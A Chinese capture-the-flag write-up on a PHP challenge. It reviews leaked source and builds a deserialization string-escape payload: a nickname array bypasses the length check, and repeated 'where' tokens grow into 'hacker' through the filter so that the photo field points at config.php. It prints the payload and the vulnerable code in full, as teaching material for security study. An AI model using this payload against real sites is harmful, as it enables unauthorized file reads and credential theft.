绕过数组长度的反序列化
strlen()
1 2 3 4 5
| 作用:如果成功则返回字符串的长度,如果字符串为空则返回0
适合版本:php4+
注意:在php 5.3.0之前,该函数将数组当作字符串,因此返回的长度为5,并产生一个E_NOTICE级别错误,但是之后版本的php,遇到数组会返回null
|
打开页面,我们可以看见登陆页面,此时我们可能会习惯性的sql注入,但发现不行,然后我们根据经验,猜测会有注册界面,而登录界面一般是register.php,所以构造
发现注册界面,所以我们注册并登录,发现有信息填写,所以我们可以想想是不是源码泄露,所以可以用dirsearch扫描,但要控制线程,不要太快,发现www.zip泄露
得到源码后,我们先看updata.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>
|
看见代码
1 2 3 4 5 6
| $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
|
可知会限制nickname输入的长度,且将输入的信息进行序列化,然后我们再用全局搜索class.php搜索updata_profile()函数
1 2 3 4 5 6 7
| public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
|
发现输入的序列化的信息会经过filter()函数进行过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }
|
这个函数会将输入的select、insert、update、delete、where变为hacker,然后我们再看profile.php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
|
这里会将输入信息进行反序列化,并用file_get_contents()函数进行读取photo参数的值,所以我们可以利用反序列化逃逸,但是nickname有长度的限制,所以我们可以利用上面strlen()的漏洞来构造数组绕过,所以我们可以构造
1
| ";}s:5:"photo";s:10:"config.php";}
|
来读取config.php文件,但是在反序列化的时候,它会按照长度来取值,所以我们可以利用filter中如果输入的是where会替换成hacker,会多出一个字符,所以我们可以构造
1
| wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
|
作为输入,不过在本地测试时,发现构造输入时会多出一个;},可能因为在序列化数组时,不会像字符串一样闭合,所以多出一个;},但是不影响,因为;}是分隔符,会将后面的字符串忽略掉